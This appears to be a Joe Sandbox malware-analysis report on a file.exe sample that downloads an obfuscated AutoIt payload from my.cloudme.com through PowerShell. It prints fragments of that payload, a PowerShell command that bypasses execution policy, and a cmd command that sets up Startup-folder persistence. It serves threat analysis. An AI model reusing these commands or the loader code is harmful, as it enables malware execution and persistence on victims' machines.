Oct 8, 2024 14:12:04.933852911 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.933866978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.933902979 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.987684965 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.987715960 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.987889051 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.987915993 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.987963915 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.998632908 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.998680115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.998718977 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.998729944 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.998759031 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.998765945 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:05.112063885 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:05.263890028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:06.214082956 CEST	49730	443	192.168.2.4	83.140.241.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 14:12:00.988854885 CEST	58087	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:12:01.102056980 CEST	53	58087	1.1.1.1	192.168.2.4
Oct 8, 2024 14:12:08.861865997 CEST	52721	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:12:09.281486034 CEST	53	52721	1.1.1.1	192.168.2.4
Oct 8, 2024 14:12:27.704185963 CEST	51401	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:12:27.719094038 CEST	53	51401	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 14:12:00.988854885 CEST	192.168.2.4	1.1.1.1	0x101f	Standard query (0)	my.cloudme.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:12:08.861865997 CEST	192.168.2.4	1.1.1.1	0x3279	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:12:27.704185963 CEST	192.168.2.4	1.1.1.1	0x2dfc	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 14:12:01.102056980 CEST	1.1.1.1	192.168.2.4	0x101f	No error (0)	my.cloudme.com		83.140.241.4	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:12:09.281486034 CEST	1.1.1.1	192.168.2.4	0x3279	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:12:27.719094038 CEST	1.1.1.1	192.168.2.4	0x2dfc	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

my.cloudme.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	83.140.241.4	443	7452	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 12:12:01 UTC	198	OUT	GET /v1/ws2/:updatemake/:reality/reality.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: my.cloudme.com Connection: Keep-Alive
2024-10-08 12:12:02 UTC	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 08 Oct 2024 12:12:02 GMT Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 3620034 Connection: close Last-Modified: Mon, 07 Oct 2024 13:14:45 GMT Content-Disposition: attachment Cache-Control: private, max-age=0 ETag: "6703dec5-373cc2" Accept-Ranges: bytes Content-Security-Policy: frame-ancestors *.cloudme.com
2024-10-08 12:12:02 UTC	15989	IN	Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 4d 45 47 41 55 47 45 20 3d 20 39 38 0a 46 6f 72 20 24 55 63 67 52 20 3d 20 36 32 20 54 6f 20 37 38 36 0a 49 66 20 24 53 74 61 72 74 73 45 71 75 69 74 79 49 6e 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 37 20 54 68 65 6e 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 38 37 5d 37 38 5d 37 36 5d 37 38 5d 39 32 5d 39 32 5d 37 34 5d 39 31 5d 38 32 5d 38 35 5d 39 38 5d 35 31 5d 38 34 5d 37 34 5d 38 32 5d 35 31 5d 38 31 5d 39 34 5d 39 31 5d 39 31 5d 38 32 5d 37 36 5d 37 34 5d 38 37 5d 37 38 5d 35 31 5d 37 36 5d 38 38 5d 39 36 5d 35 31 22 2c 39 2f 31 29 2c 20 57 61 6c 65 73 28 22 38 37 5d 37 38 5d 37 36 5d 37 38 5d 39 32 5d 39 32 5d 37 34 5d 39 31 5d 38 32 5d 38 35 5d 39 38 5d 35 31 5d 38 34 5d 37 34 5d 38 32 5d 35 31 5d 38 31 5d 39 34 5d Data Ascii: MEGAUGE = 98For $UcgR = 62 To 786If $StartsEquityIncurredLayout = 87 ThenPixelGetColor(Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]91]91]82]76]74]87]78]51]76]88]96]51",9/1), Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 59 41 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 39 36 20 54 68 65 6e 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 37 30 5d 31 31 34 5d 31 31 33 5d 31 32 31 5d 31 30 34 5d 31 31 37 5d 31 31 39 5d 31 30 38 5d 31 30 31 5d 31 31 31 5d 31 30 34 5d 33 36 22 2c 32 37 2f 39 29 29 0a 41 54 61 6e 28 36 31 30 30 29 0a 41 53 69 6e 28 34 31 35 33 29 0a 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 42 49 54 52 45 41 44 49 4e 47 53 59 41 20 3d 20 39 37 20 54 68 65 6e 0a 24 4e 61 72 72 6f 77 4c 61 74 69 6e 61 73 4c 69 62 72 61 72 79 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 39 37 5d 37 31 5d 37 30 5d 31 30 31 5d 37 Data Ascii: YA + 1EndIfIf $BITREADINGSYA = 96 ThenDriveStatus(Wales("70]114]113]121]104]117]119]108]101]111]104]36",27/9))ATan(6100)ASin(4153)$BITREADINGSYA = $BITREADINGSYA + 1EndIfIf $BITREADINGSYA = 97 Then$NarrowLatinasLibrary = Dec(Wales("97]71]70]101]7
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 64 49 66 0a 49 66 20 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 3d 20 33 30 20 54 68 65 6e 0a 4c 6f 63 61 6c 20 24 46 69 6e 64 73 4b 73 44 69 66 66 69 63 75 6c 74 79 55 73 70 73 32 20 3d 20 44 6c 6c 53 74 72 75 63 74 43 72 65 61 74 65 28 57 61 6c 65 73 28 22 31 30 32 5d 31 32 35 5d 31 32 30 5d 31 30 35 5d 39 35 22 2c 31 36 2f 34 29 20 26 20 24 63 65 72 74 69 66 69 63 61 74 65 61 63 74 69 6f 6e 32 20 26 20 57 61 6c 65 73 28 22 39 39 22 2c 36 2f 31 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 3d 20 33 31 20 54 68 65 6e 0a 44 65 63 28 57 61 6c 65 73 28 22 31 31 37 5d 31 30 32 5d 31 32 30 5d 31 Data Ascii: dIfIf $lisaknowledgestormsharpinsight = 30 ThenLocal $FindsKsDifficultyUsps2 = DllStructCreate(Wales("102]125]120]105]95",16/4) & $certificateaction2 & Wales("99",6/1))ExitLoopEndIfIf $lisaknowledgestormsharpinsight = 31 ThenDec(Wales("117]102]120]1
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 30 36 5d 31 30 35 5d 33 37 5d 33 37 5d 33 37 5d 33 37 5d 37 36 5d 31 30 36 5d 31 32 31 5d 33 37 5d 33 37 5d 33 37 5d 33 37 22 2c 34 35 2f 39 29 29 0a 44 65 63 28 57 61 6c 65 73 28 22 38 35 5d 31 30 32 5d 31 30 34 5d 31 31 32 5d 31 30 32 5d 31 30 38 5d 31 30 36 5d 31 32 30 5d 35 32 5d 38 38 5d 31 32 31 5d 31 31 39 5d 31 32 32 5d 31 30 34 5d 31 32 31 5d 31 32 32 5d 31 31 39 5d 31 30 36 5d 31 32 30 5d 35 32 22 2c 32 35 2f 35 29 29 0a 24 77 61 69 74 73 75 73 73 65 78 20 3d 20 24 77 61 69 74 73 75 73 73 65 78 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 77 61 69 74 73 75 73 73 65 78 20 3d 20 31 32 20 54 68 65 6e 0a 24 4e 4d 53 45 41 52 43 48 4f 52 44 45 52 43 41 54 41 4c 4f 47 55 45 20 3d 20 44 6c 6c 53 74 72 75 63 74 43 72 65 61 74 65 28 27 62 79 74 65 5b 27 Data Ascii: 06]105]37]37]37]37]76]106]121]37]37]37]37",45/9))Dec(Wales("85]102]104]112]102]108]106]120]52]88]121]119]122]104]121]122]119]106]120]52",25/5))$waitsussex = $waitsussex + 1EndIfIf $waitsussex = 12 Then$NMSEARCHORDERCATALOGUE = DllStructCreate('byte['
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 33 29 29 0a 43 68 72 28 34 38 33 37 29 0a 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 3d 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 3d 20 34 35 20 54 68 65 6e 0a 24 46 69 73 68 52 6f 6c 61 6e 64 53 74 75 66 66 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 31 37 5d 37 36 5d 38 36 5d 38 30 5d 31 32 35 5d 31 31 36 5d 38 38 5d 31 32 38 5d 38 32 5d 31 30 39 5d 38 33 5d 39 36 5d 31 31 35 22 2c 33 36 2f 36 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 Data Ascii: 3))Chr(4837)$settingsomersetvegetarianturn = $settingsomersetvegetarianturn + 1EndIfIf $settingsomersetvegetarianturn = 45 Then$FishRolandStuff = Dec(Wales("117]76]86]80]125]116]88]128]82]109]83]96]115",36/6))ExitLoopEndIfIf $settingsomersetvegeta
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 35 27 0a 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 36 0a 24 54 72 61 64 65 72 57 61 6c 20 3d 20 37 31 0a 57 68 69 6c 65 20 35 34 0a 49 66 20 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 35 20 54 68 65 6e 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 32 36 2c 20 36 30 36 2c 20 30 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 31 31 36 5d 31 31 33 5d 31 32 31 5d 31 31 37 5d 33 34 5d 39 39 5d 31 31 36 5d 31 31 31 5d 31 32 33 5d 33 34 5d 31 31 36 5d 39 39 5d 31 31 32 5d 31 30 39 5d 31 30 37 5d 31 31 32 5d 31 30 35 5d 33 34 5d 31 31 31 5d 31 30 37 5d 39 39 5d 33 34 22 2c 31 34 2f 37 29 29 0a 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 Data Ascii: 5'$StrictRealtorsAdministration = 6$TraderWal = 71While 54If $StrictRealtorsAdministration = 5 ThenPixelGetColor(26, 606, 0)DriveStatus(Wales("116]113]121]117]34]99]116]111]123]34]116]99]112]109]107]112]105]34]111]107]99]34",14/7))$StrictRealtorsAd
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 73 50 73 20 3d 20 43 6f 6e 73 6f 6c 65 57 72 69 74 65 45 72 72 6f 72 28 57 61 6c 65 73 28 22 31 31 38 5d 38 30 5d 31 31 38 5d 31 31 32 5d 31 30 35 5d 36 39 5d 38 30 5d 31 31 39 5d 38 30 5d 39 34 5d 31 32 33 5d 31 32 30 5d 31 31 39 5d 31 30 33 5d 31 31 30 22 2c 31 32 2f 33 29 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 62 61 73 69 63 73 61 74 68 6c 65 74 69 63 73 20 3d 20 27 39 39 35 37 32 30 35 30 31 39 30 38 39 35 39 38 30 32 31 36 32 35 30 36 35 37 34 38 30 36 32 36 37 34 32 39 37 36 30 37 33 35 37 32 31 34 36 30 34 37 33 32 31 35 38 35 30 30 33 35 36 37 30 35 37 27 0a 24 4a 65 4f 6b 61 79 20 3d 20 35 34 0a 24 4d 69 73 73 65 64 48 61 70 70 79 50 70 43 65 6e 74 72 61 6c 20 3d 20 39 35 0a 46 6f 72 20 24 45 61 52 62 20 3d 20 32 34 Data Ascii: sPs = ConsoleWriteError(Wales("118]80]118]112]105]69]80]119]80]94]123]120]119]103]110",12/3))ExitLoopEndIfNext$basicsathletics = '99572050190895980216250657480626742976073572146047321585003567057'$JeOkay = 54$MissedHappyPpCentral = 95For $EaRb = 24
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 30 38 5d 31 32 36 5d 31 30 39 5d 31 32 32 5d 31 32 34 5d 31 31 33 5d 31 32 33 5d 31 30 39 5d 31 31 37 5d 31 30 39 5d 31 31 38 5d 31 32 34 5d 31 32 33 5d 35 33 5d 39 32 5d 31 32 32 5d 31 30 35 5d 31 30 37 5d 31 32 34 5d 35 33 5d 37 36 5d 31 31 39 5d 31 32 37 5d 31 31 38 5d 31 31 36 5d 31 31 39 5d 31 30 35 5d 31 30 38 5d 31 30 35 5d 31 30 36 5d 31 31 36 5d 31 30 39 5d 35 33 22 2c 35 36 2f 37 29 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 39 30 5d 31 30 37 5d 31 30 35 5d 31 31 30 5d 31 31 36 5d 31 31 31 5d 31 30 35 5d 31 30 33 5d 31 31 34 5d 34 31 5d 38 39 5d 31 32 33 5d 31 30 39 5d 31 30 39 5d 31 30 37 5d 31 32 31 5d 31 32 32 5d 31 30 37 5d 31 30 36 5d 34 31 22 2c 33 36 2f 36 29 29 0a 24 70 6f 72 74 65 72 6c 61 62 6f 72 61 74 6f 72 79 20 Data Ascii: 08]126]109]122]124]113]123]109]117]109]118]124]123]53]92]122]105]107]124]53]76]119]127]118]116]119]105]108]105]106]116]109]53",56/7))DriveStatus(Wales("90]107]105]110]116]111]105]103]114]41]89]123]109]109]107]121]122]107]106]41",36/6))$porterlaboratory
2024-10-08 12:12:02 UTC	16384	IN	Data Raw: 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 37 39 5d 37 30 5d 38 38 5d 36 37 5d 37 34 5d 37 30 5d 34 36 5d 38 33 5d 36 36 5d 37 34 5d 37 37 5d 38 33 5d 38 30 5d 36 36 5d 36 39 5d 34 36 5d 37 32 5d 38 36 5d 37 39 5d 38 34 5d 34 36 5d 36 39 5d 37 34 5d 38 34 5d 36 38 5d 34 36 22 2c 39 2f 39 29 2c 20 57 61 6c 65 73 28 22 37 39 5d 37 30 5d 38 38 5d 36 37 5d 37 34 5d 37 30 5d 34 36 5d 38 33 5d 36 36 5d 37 34 5d 37 37 5d 38 33 5d 38 30 5d 36 36 5d 36 39 5d 34 36 5d 37 32 5d 38 36 5d 37 39 5d 38 34 5d 34 36 5d 36 39 5d 37 34 5d 38 34 5d 36 38 5d 34 36 22 2c 39 2f 39 29 29 0a 24 54 65 6d 70 6c 65 52 65 61 6c 69 73 74 69 63 43 6f 6d 70 61 6e 79 41 6e 79 77 68 65 72 65 20 3d 20 24 54 65 6d 70 6c 65 52 65 61 6c 69 73 74 69 63 43 6f 6d 70 61 6e 79 41 6e 79 77 68 65 72 65 Data Ascii: Color(Wales("79]70]88]67]74]70]46]83]66]74]77]83]80]66]69]46]72]86]79]84]46]69]74]84]68]46",9/9), Wales("79]70]88]67]74]70]46]83]66]74]77]83]80]66]69]46]72]86]79]84]46]69]74]84]68]46",9/9))$TempleRealisticCompanyAnywhere = $TempleRealisticCompanyAnywhere

Target ID:	0
Start time:	08:11:57
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff797830000
File size:	2'016'768 bytes
MD5 hash:	1D2CF62E7874BB460B7258279A55DDF3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:11:58
Start date:	08/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\ProfileDetails.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:11:58
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:12:05
Start date:	08/10/2024
Path:	C:\Users\Public\InformationCheck.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\InformationCheck.exe" C:\Users\Public\Details.au3
Imagebase:	0x460000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:12:07
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:12:07
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:12:16
Start date:	08/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Imagebase:	0x7ff763f00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:12:18
Start date:	08/10/2024
Path:	C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Imagebase:	0x10000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.5%
Total number of Nodes:	1408
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF7978337B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF7978337F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF797833807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF79783388D

Part of subcall function 00007FF797833F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF7978338BF,?,?,?,?,?,00007FF797833785), ref: 00007FF797833FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF797833924
MessageBoxA.USER32 ref: 00007FF79787B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF79787B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF797833785), ref: 00007FF79787B968
ShellExecuteW.SHELL32 ref: 00007FF79787B98F

Part of subcall function 00007FF797833B84: GetSysColorBrush.USER32 ref: 00007FF797833B9E
Part of subcall function 00007FF797833B84: LoadCursorW.USER32 ref: 00007FF797833BAE
Part of subcall function 00007FF797833B84: LoadIconW.USER32 ref: 00007FF797833BC3
Part of subcall function 00007FF797833B84: LoadIconW.USER32 ref: 00007FF797833BDC
Part of subcall function 00007FF797833B84: LoadIconW.USER32 ref: 00007FF797833BF5
Part of subcall function 00007FF797833B84: LoadImageW.USER32 ref: 00007FF797833C21
Part of subcall function 00007FF797833B84: RegisterClassExW.USER32 ref: 00007FF797833C85

Part of subcall function 00007FF797833CBC: CreateWindowExW.USER32 ref: 00007FF797833D0C
Part of subcall function 00007FF797833CBC: CreateWindowExW.USER32 ref: 00007FF797833D5F
Part of subcall function 00007FF797833CBC: ShowWindow.USER32 ref: 00007FF797833D75

Part of subcall function 00007FF797836258: Shell_NotifyIconW.SHELL32 ref: 00007FF797836350

Strings

This is a third-party compiled AutoIt script., xrefs: 00007FF79787B87F
runas, xrefs: 00007FF79787B973

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: c3ded298cf76d34180cf113abdbd9d12434cc4ac29103e584319df50cc10e3ad
Instruction ID: 09d9f56cbac6fe4c438a4fab82b28e4cf22fd1e84ad14f2e9b828d1225641d03
Opcode Fuzzy Hash: c3ded298cf76d34180cf113abdbd9d12434cc4ac29103e584319df50cc10e3ad
Instruction Fuzzy Hash: 1871F961A1C68395EA30BB38E8409F9AB65FF413E4FC10135E54D476A6EE6CE65BC320

Function 00007FF797836580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF79783674B
FindResourceExW.KERNEL32 ref: 00007FF79783676B
LoadResource.KERNEL32 ref: 00007FF79787C985
SizeofResource.KERNEL32 ref: 00007FF79787C99E
LockResource.KERNEL32 ref: 00007FF79787C9B1

Strings

AU3!, xrefs: 00007FF7978365D8
EA06, xrefs: 00007FF79787CA59
SCRIPT, xrefs: 00007FF79783675D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: c5d37f60bfc7894d4b9a8be49c3cd5d9515b251465fe095e3cb93f9b28233333
Instruction ID: 990588fb1f9f2f1ed07c553e99a0a3f680947a08ab83451792692681d30ff600
Opcode Fuzzy Hash: c5d37f60bfc7894d4b9a8be49c3cd5d9515b251465fe095e3cb93f9b28233333
Instruction Fuzzy Hash: 7491CEB2B09641C6EB34AB3A9444E7CAFA4BB45BC4FC14135DE5E47785EF38E4568320

Function 00007FF797851D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF797851DC8
GetCurrentProcess.KERNEL32 ref: 00007FF797851F42
IsWow64Process.KERNEL32 ref: 00007FF797851F52
